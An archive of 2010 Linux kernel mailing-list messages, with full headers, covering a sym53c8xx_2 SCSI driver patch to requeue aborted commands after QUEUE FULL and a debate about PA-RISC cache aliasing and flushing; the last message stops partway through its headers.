> > aborted with DID_SOFT_ERROR (rather than DID_REQUEUE), which results in 
> > too few retries and premature errors. The errors happen mostly on writes, 
> > resulting in data corruption.
> > 
> > Mikulas
> > 
> > ---
> > 
> > sym53c8xx_2: Set DID_REQUEUE return code when aborting squeue.
> > 
> > When the controller encounters an error (including QUEUE FULL or BUSY status),
> > it aborts all not yet submitted requests in the function
> > sym_dequeue_from_squeue.
> > 
> > This function aborts them with DID_SOFT_ERROR.
> > 
> > If the disk has a full tag queue, the request that caused the overflow is
> > aborted with QUEUE FULL status (and the scsi midlayer properly retries it
> > until it is accepted by the disk), but other requests are aborted with
> > DID_SOFT_ERROR --- for them, the midlayer does just a few retries and then
> > signals the error up to sd.
> > 
> > The result is that disk returning QUEUE FULL causes request failures.
> > 
> > The error was reproduced on 53c895 with COMPAQ BD03685A24 disk (rebranded
> > ST336607LC) with command queue 48 or 64 tags. The disk has 64 tags, but
> > under some access patterns it return QUEUE FULL when there are less than
> > 64 pending tags. The SCSI specification allows returning QUEUE FULL
> > anytime and it is up to the host to retry.
> 
> So the description isn't really complete.  the function is
> dequeue_from_squeue which is used to requeue all unissued scbs when the
> sequencer is restarted.  This doesn't just affect QUEUE_FULL, it affects
> everything.  As long as the pushback is done before the status is
> returned (which it looks like it is), I think the patch after fixing
> looks fine.
>
> The problem isn't the actual command which returns queue full ... it's
> that the sequencer accepts and queues a pile of commands and then
> returns all of them on the first queue full ... that means that deeply
> queued commands in the sequencer issue queue can get returned >5 times
> on multiple QUEUE_FULL conditions which would cause a failure.

Sure, that's how I understood it from the code and debug prints. You can 
add this to the description.

That QUEUE_FULL command is actually retired fine, the following commands 
are problematic.

> > Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
> > 
> > ---
> >  drivers/scsi/sym53c8xx_2/sym_hipd.c |    4 ++++
> >  1 file changed, 4 insertions(+)
> > 
> > Index: linux-2.6.36-rc5-fast/drivers/scsi/sym53c8xx_2/sym_hipd.c
> > ===================================================================
> > --- linux-2.6.36-rc5-fast.orig/drivers/scsi/sym53c8xx_2/sym_hipd.c	2010-09-27 10:25:59.000000000 +0200
> > +++ linux-2.6.36-rc5-fast/drivers/scsi/sym53c8xx_2/sym_hipd.c	2010-09-27 10:26:27.000000000 +0200
> > @@ -3000,7 +3000,11 @@ sym_dequeue_from_squeue(struct sym_hcb *
> >  		if ((target == -1 || cp->target == target) &&
> >  		    (lun    == -1 || cp->lun    == lun)    &&
> >  		    (task   == -1 || cp->tag    == task)) {
> > +#ifdef SYM_OPT_HANDLE_DEVICE_QUEUEING
> >  			sym_set_cam_status(cp->cmd, DID_SOFT_ERROR);
> > +#else
> > +			sym_set_cam_status(cp->cmd, DID_REQUEUE);
> > +#endif
> 
> So the ifdef is definitely wrong.  SYM_OPT_HANDLE_DEVICE_QUEUEING is a
> leftover from when the driver did explicit internal queueing. Just make
> this do DID_REQUEUE and I *think* everything will be OK.

When I tried to enable SYM_OPT_HANDLE_DEVICE_QUEUEING, it didn't work, it 
crashed on something --- it is leftover from some other operating system 
that didn't handle requeuing in the midlayer.

When looking at the other parts of code that handles this driver-internal 
requeueing, it expects DID_SOFT_ERROR there. But it doesn't matter, that 
code is useless for Linux and broken anyway.

> There's a danger in that DID_REQUEUE will requeue forever, so this
> working depends on the original failing command being returned with the
> correct code (which I think it is, but more eyes looking at this would
> be helpful).

Requeuing forever is dangerous anyway, a device returning QUEUE_FULL 
constantly could deadlock the system. Question: is it better to risk a 
deadlock with a broken device or to risk a false timeout under high load? 
--- I don't know --- maybe there are valid cases where the device is 
returning QUEUE_FULL for long time (some raid reconfiguration?) ... do you 
know about them?

Anyway, if sym_dequeue_from_squeue was called from some other error that 
causes limited retry or command abort, I think it is still valid to use 
DID_REQUEUE for the following commands --- it can't deadlock with 
DID_REQUEUE, because on that error, the first command is aborted or has 
its retry count decremented --- so the first command must be eventually 
completed, and the second command (which was being retried with 
DID_REQUEUE) becomes the first --- and once it's first, it cannot loop 
forever. So with induction you can prove that every command completes in 
finite time.

Mikulas

> James
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Wed, 27 Oct 2010 18:28:57 +0200 (CEST)
Lines: 63
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010271820320.18202@artax.karlin.mff.cuni.cz>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>  <1288155041.19649.354.camel@mulgrave.site>  <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz> <1288188465.4692.0.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1288196942 14902 80.91.229.12 (27 Oct 2010 16:29:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 16:29:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 18:29:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB8rz-0003Y3-U8
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 18:29:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752027Ab0J0Q27 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 12:28:59 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:49469 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751800Ab0J0Q26 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 12:28:58 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 3567A980E0; Wed, 27 Oct 2010 18:28:57 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 33F31980B4;
	Wed, 27 Oct 2010 18:28:57 +0200 (CEST)
In-Reply-To: <1288188465.4692.0.camel@mulgrave.site>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3182>



On Wed, 27 Oct 2010, James Bottomley wrote:

> On Wed, 2010-10-27 at 10:06 +0200, Mikulas Patocka wrote:
> > 
> > On Tue, 26 Oct 2010, James Bottomley wrote:
> > 
> > > On Tue, 2010-10-26 at 21:29 -0400, John David Anglin wrote:
> > > > > - shared memory --- there is SHMLBA boundary that causes that all
> > > > mappings 
> > > > > are aligned to this boundary --- it is **WRONG** in the current
> > > > kernel!!! 
> > > > > It is only 4MB and should be 16MB!!!
> > > > 
> > > > James has said that the max for all PA-RISC implementations is
> > > > 4 MB.  The value is returned by the PDC_CACHE call.  Maybe a BUG_ON is
> > > > called for.  The alias boundary can be determined by the alias field
> > > > in the D_conf return value.
> > > 
> > > Why is it I get blamed for everything cache related on parisc?  The
> > 
> > You don't get blamed, we're just trying to find bugs :)
> > 
> > > statement in the manuals that the equivalency modulus is 16MB was left
> > > for future expansion.  However, given PA8900 is the last in the series,
> > > there is no future expansion.  John Marvin (I think it was) from the HP
> > > processor group confirmed that the largest equivalency modulus for any
> > > produced parisc processor is 4MB, so that's what we use in the kernel.
> > > 
> > > James
> > 
> > The largest L2 cache size is 64MB --- so if the cache is 4-way 
> > associative, the equivalency distance is 16MB (as the manual says).
> > 
> > If the equivalency distance were 4MB, the L2 cache would have to be 16-way 
> > (or the cache would have to be physically indexed and you wouldn't have to 
> > care about its consistency at all).
> 
> The L2 cache has no equivalency modulus ... it's not virtually indexed.
> 
> James

Why is Kyle than suggesting that I am lucky because I have no L2 cache 
(and therefore, Linux runs faster)?

Why are people talking here about flushing 32MB or 64MB L2 on fork()?

Or is it that you need to flush only L1 cache but the architecture forces 
flush of both caches?


I'd still like to see if someone with PA8800 or PA8900 with L2 ran that 
shared memory experiment to actually *prove* that L2 is physically indexed 
and that the L1 equivalency modulus is 4MB. I.e. not rely on what you 
heard somewhere, but rely on what you see.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Wed, 27 Oct 2010 11:35:24 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <1288197324.6886.2.camel@mulgrave.site>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
	 <1288155041.19649.354.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz>
	 <1288188465.4692.0.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010271820320.18202@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288197334 16797 80.91.229.12 (27 Oct 2010 16:35:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 16:35:34 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 18:35:31 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB8yH-0006tC-AI
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 18:35:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751033Ab0J0Qf2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 12:35:28 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48107 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750978Ab0J0Qf1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 12:35:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5B4658EE100;
	Wed, 27 Oct 2010 09:35:27 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id B4RorBxEcSQO; Wed, 27 Oct 2010 09:35:27 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C4A518EE0F8;
	Wed, 27 Oct 2010 09:35:26 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010271820320.18202@artax.karlin.mff.cuni.cz>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3183>

On Wed, 2010-10-27 at 18:28 +0200, Mikulas Patocka wrote:
> 
> On Wed, 27 Oct 2010, James Bottomley wrote:
> 
> > On Wed, 2010-10-27 at 10:06 +0200, Mikulas Patocka wrote:
> > > 
> > > On Tue, 26 Oct 2010, James Bottomley wrote:
> > > 
> > > > On Tue, 2010-10-26 at 21:29 -0400, John David Anglin wrote:
> > > > > > - shared memory --- there is SHMLBA boundary that causes that all
> > > > > mappings 
> > > > > > are aligned to this boundary --- it is **WRONG** in the current
> > > > > kernel!!! 
> > > > > > It is only 4MB and should be 16MB!!!
> > > > > 
> > > > > James has said that the max for all PA-RISC implementations is
> > > > > 4 MB.  The value is returned by the PDC_CACHE call.  Maybe a BUG_ON is
> > > > > called for.  The alias boundary can be determined by the alias field
> > > > > in the D_conf return value.
> > > > 
> > > > Why is it I get blamed for everything cache related on parisc?  The
> > > 
> > > You don't get blamed, we're just trying to find bugs :)
> > > 
> > > > statement in the manuals that the equivalency modulus is 16MB was left
> > > > for future expansion.  However, given PA8900 is the last in the series,
> > > > there is no future expansion.  John Marvin (I think it was) from the HP
> > > > processor group confirmed that the largest equivalency modulus for any
> > > > produced parisc processor is 4MB, so that's what we use in the kernel.
> > > > 
> > > > James
> > > 
> > > The largest L2 cache size is 64MB --- so if the cache is 4-way 
> > > associative, the equivalency distance is 16MB (as the manual says).
> > > 
> > > If the equivalency distance were 4MB, the L2 cache would have to be 16-way 
> > > (or the cache would have to be physically indexed and you wouldn't have to 
> > > care about its consistency at all).
> > 
> > The L2 cache has no equivalency modulus ... it's not virtually indexed.
> > 
> > James
> 
> Why is Kyle than suggesting that I am lucky because I have no L2 cache 
> (and therefore, Linux runs faster)?
> 
> Why are people talking here about flushing 32MB or 64MB L2 on fork()?
> 
> Or is it that you need to flush only L1 cache but the architecture forces 
> flush of both caches?

There's only a couple of flush instructions: fic and fdc ... they have
to flush all caches.  We did argue the toss on this with the HP
processor people since aliasing, which is primarily where we need
flushes for control, only occurs in the L1 cache.  However, they pointed
out that if they made fic and fdc L1 specific, we'd have no control over
DMA type ops which have to reach physical memory.

> I'd still like to see if someone with PA8800 or PA8900 with L2 ran that 
> shared memory experiment to actually *prove* that L2 is physically indexed 
> and that the L1 equivalency modulus is 4MB. I.e. not rely on what you 
> heard somewhere, but rely on what you see.

We already did all of that years ago just trying to make the pa8x00
chips work with linux ... they didn't for about 18 months.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: sym53c8xx_2 data corruption
Date: Wed, 27 Oct 2010 11:37:16 -0500
Lines: 128
Approved: news@gmane.org
Message-ID: <1288197436.6886.3.camel@mulgrave.site>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
	 <1288155041.19649.354.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010271059230.31946@artax.karlin.mff.cuni.cz>
	 <1288190807.4692.30.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010271803010.18202@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288197460 17441 80.91.229.12 (27 Oct 2010 16:37:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 16:37:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-scsi@vger.kernel.org,
	matthew@wil.cx
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-scsi-owner@vger.kernel.org Wed Oct 27 18:37:38 2010
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1PB90L-00080g-JR
	for lnx-linux-scsi@lo.gmane.org; Wed, 27 Oct 2010 18:37:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751648Ab0J0QhV (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 27 Oct 2010 12:37:21 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48122 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751591Ab0J0QhS (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Wed, 27 Oct 2010 12:37:18 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9B2918EE100;
	Wed, 27 Oct 2010 09:37:18 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pf4LDr9Pk5Zq; Wed, 27 Oct 2010 09:37:18 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E17A78EE0F8;
	Wed, 27 Oct 2010 09:37:17 -0700 (PDT)
In-Reply-To: <alpine.DEB.1.10.1010271803010.18202@artax.karlin.mff.cuni.cz>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:63129 gmane.linux.ports.parisc:3184
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/63129>

On Wed, 2010-10-27 at 18:19 +0200, Mikulas Patocka wrote:
> 
> On Wed, 27 Oct 2010, James Bottomley wrote:
> 
> > On Wed, 2010-10-27 at 11:04 +0200, Mikulas Patocka wrote:
> > > Hi
> > > 
> > > I sent this about twice to linux-scsi and got no reseponse, neither from 
> > > conference nor from Matthew. So I'm sending it here, James, you are the 
> > > maintainer of SCSI, could you please look at the patch and incorporate it 
> > > to the kernel in this cycle?
> > > 
> > > The problem is that if the disk returns QUEUE FULL, the requests are 
> > > aborted with DID_SOFT_ERROR (rather than DID_REQUEUE), which results in 
> > > too few retries and premature errors. The errors happen mostly on writes, 
> > > resulting in data corruption.
> > > 
> > > Mikulas
> > > 
> > > ---
> > > 
> > > sym53c8xx_2: Set DID_REQUEUE return code when aborting squeue.
> > > 
> > > When the controller encounters an error (including QUEUE FULL or BUSY status),
> > > it aborts all not yet submitted requests in the function
> > > sym_dequeue_from_squeue.
> > > 
> > > This function aborts them with DID_SOFT_ERROR.
> > > 
> > > If the disk has a full tag queue, the request that caused the overflow is
> > > aborted with QUEUE FULL status (and the scsi midlayer properly retries it
> > > until it is accepted by the disk), but other requests are aborted with
> > > DID_SOFT_ERROR --- for them, the midlayer does just a few retries and then
> > > signals the error up to sd.
> > > 
> > > The result is that disk returning QUEUE FULL causes request failures.
> > > 
> > > The error was reproduced on 53c895 with COMPAQ BD03685A24 disk (rebranded
> > > ST336607LC) with command queue 48 or 64 tags. The disk has 64 tags, but
> > > under some access patterns it return QUEUE FULL when there are less than
> > > 64 pending tags. The SCSI specification allows returning QUEUE FULL
> > > anytime and it is up to the host to retry.
> > 
> > So the description isn't really complete.  the function is
> > dequeue_from_squeue which is used to requeue all unissued scbs when the
> > sequencer is restarted.  This doesn't just affect QUEUE_FULL, it affects
> > everything.  As long as the pushback is done before the status is
> > returned (which it looks like it is), I think the patch after fixing
> > looks fine.
> >
> > The problem isn't the actual command which returns queue full ... it's
> > that the sequencer accepts and queues a pile of commands and then
> > returns all of them on the first queue full ... that means that deeply
> > queued commands in the sequencer issue queue can get returned >5 times
> > on multiple QUEUE_FULL conditions which would cause a failure.
> 
> Sure, that's how I understood it from the code and debug prints. You can 
> add this to the description.
> 
> That QUEUE_FULL command is actually retired fine, the following commands 
> are problematic.
> 
> > > Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
> > > 
> > > ---
> > >  drivers/scsi/sym53c8xx_2/sym_hipd.c |    4 ++++
> > >  1 file changed, 4 insertions(+)
> > > 
> > > Index: linux-2.6.36-rc5-fast/drivers/scsi/sym53c8xx_2/sym_hipd.c
> > > ===================================================================
> > > --- linux-2.6.36-rc5-fast.orig/drivers/scsi/sym53c8xx_2/sym_hipd.c	2010-09-27 10:25:59.000000000 +0200
> > > +++ linux-2.6.36-rc5-fast/drivers/scsi/sym53c8xx_2/sym_hipd.c	2010-09-27 10:26:27.000000000 +0200
> > > @@ -3000,7 +3000,11 @@ sym_dequeue_from_squeue(struct sym_hcb *
> > >  		if ((target == -1 || cp->target == target) &&
> > >  		    (lun    == -1 || cp->lun    == lun)    &&
> > >  		    (task   == -1 || cp->tag    == task)) {
> > > +#ifdef SYM_OPT_HANDLE_DEVICE_QUEUEING
> > >  			sym_set_cam_status(cp->cmd, DID_SOFT_ERROR);
> > > +#else
> > > +			sym_set_cam_status(cp->cmd, DID_REQUEUE);
> > > +#endif
> > 
> > So the ifdef is definitely wrong.  SYM_OPT_HANDLE_DEVICE_QUEUEING is a
> > leftover from when the driver did explicit internal queueing. Just make
> > this do DID_REQUEUE and I *think* everything will be OK.
> 
> When I tried to enable SYM_OPT_HANDLE_DEVICE_QUEUEING, it didn't work, it 
> crashed on something --- it is leftover from some other operating system 
> that didn't handle requeuing in the midlayer.
> 
> When looking at the other parts of code that handles this driver-internal 
> requeueing, it expects DID_SOFT_ERROR there. But it doesn't matter, that 
> code is useless for Linux and broken anyway.
> 
> > There's a danger in that DID_REQUEUE will requeue forever, so this
> > working depends on the original failing command being returned with the
> > correct code (which I think it is, but more eyes looking at this would
> > be helpful).
> 
> Requeuing forever is dangerous anyway, a device returning QUEUE_FULL 
> constantly could deadlock the system. Question: is it better to risk a 
> deadlock with a broken device or to risk a false timeout under high load? 
> --- I don't know --- maybe there are valid cases where the device is 
> returning QUEUE_FULL for long time (some raid reconfiguration?) ... do you 
> know about them?
> 
> Anyway, if sym_dequeue_from_squeue was called from some other error that 
> causes limited retry or command abort, I think it is still valid to use 
> DID_REQUEUE for the following commands --- it can't deadlock with 
> DID_REQUEUE, because on that error, the first command is aborted or has 
> its retry count decremented --- so the first command must be eventually 
> completed, and the second command (which was being retried with 
> DID_REQUEUE) becomes the first --- and once it's first, it cannot loop 
> forever. So with induction you can prove that every command completes in 
> finite time.

As long as we see the QUEUE_FULL return, there's no danger.  The mid
layer has a timeout beyond which it won't allow a QUEUE_FULL return to
be retried.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Wed, 27 Oct 2010 18:50:47 +0200 (CEST)
Lines: 53
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.10.1010271837040.18202@artax.karlin.mff.cuni.cz>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>  <1288155041.19649.354.camel@mulgrave.site>  <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz>  <1288188465.4692.0.camel@mulgrave.site>  <alpine.DEB.1.10.1010271820320.18202@artax.karlin.mff.cuni.cz>
 <1288197324.6886.2.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1288198253 21918 80.91.229.12 (27 Oct 2010 16:50:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 16:50:53 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 18:50:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PB9D7-0007PI-Ei
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 18:50:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752048Ab0J0Qus (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Oct 2010 12:50:48 -0400
Original-Received: from artax.karlin.mff.cuni.cz ([195.113.26.195]:51790 "EHLO
	artax.karlin.mff.cuni.cz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751742Ab0J0Qus (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Oct 2010 12:50:48 -0400
Original-Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421)
	id 4FE8F9805B; Wed, 27 Oct 2010 18:50:47 +0200 (CEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 4E2D89805A;
	Wed, 27 Oct 2010 18:50:47 +0200 (CEST)
In-Reply-To: <1288197324.6886.2.camel@mulgrave.site>
User-Agent: Alpine 1.10 (DEB 962 2008-03-14)
X-Personality-Disorder: Schizoid
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3185
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3185>

> > Why is Kyle than suggesting that I am lucky because I have no L2 cache 
> > (and therefore, Linux runs faster)?
> > 
> > Why are people talking here about flushing 32MB or 64MB L2 on fork()?
> > 
> > Or is it that you need to flush only L1 cache but the architecture forces 
> > flush of both caches?
> 
> There's only a couple of flush instructions: fic and fdc ... they have
> to flush all caches.  We did argue the toss on this with the HP
> processor people since aliasing, which is primarily where we need
> flushes for control, only occurs in the L1 cache.  However, they pointed
> out that if they made fic and fdc L1 specific, we'd have no control over
> DMA type ops which have to reach physical memory.
> 
> > I'd still like to see if someone with PA8800 or PA8900 with L2 ran that 
> > shared memory experiment to actually *prove* that L2 is physically indexed 
> > and that the L1 equivalency modulus is 4MB. I.e. not rely on what you 
> > heard somewhere, but rely on what you see.
> 
> We already did all of that years ago just trying to make the pa8x00

If it is really proved, OK.

So, the CPU takes a hash of bits some bits up to 4MB and uses them to 
calculate an index into 4-way not-power-of-two-sized L1 cache?

> chips work with linux ... they didn't for about 18 months.
> 
> James

Unfortunatelly, I still get some userspace crashes on SMP, I already found 
one reproducible crash (running "make install" on gcc-4.5.1). The crash 
happens with some probability, but the probability is high enough so that 
it's reproducible.

Do you have some idea where cache flushing is missing so that I could try 
if it fixes my case?

BTW. if you flush cache on kmap, I think it couldn't work in multithreaded 
environment at all --- i.e. the program has "int a, b;" both variables 
share the cacheline, one thread is accessing "a" via kmap and the other 
thread writes to b directly, for example "b = 5". Then, cache flushing 
won't help and one of the variables will be trashed. You need kmap address 
to be congruent with the linear address. But I think it's not reason for 
my crash because neither gmake nor bash (that crashes) is multithreaded.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Wed, 27 Oct 2010 12:07:26 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <1288199246.6886.9.camel@mulgrave.site>
References: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
	 <1288155041.19649.354.camel@mulgrave.site>
	 <alpine.DEB.1.10.1010270957110.31946@artax.karlin.mff.cuni.cz>
	 <1288188465.4692.0.camel@mulgrave.site>
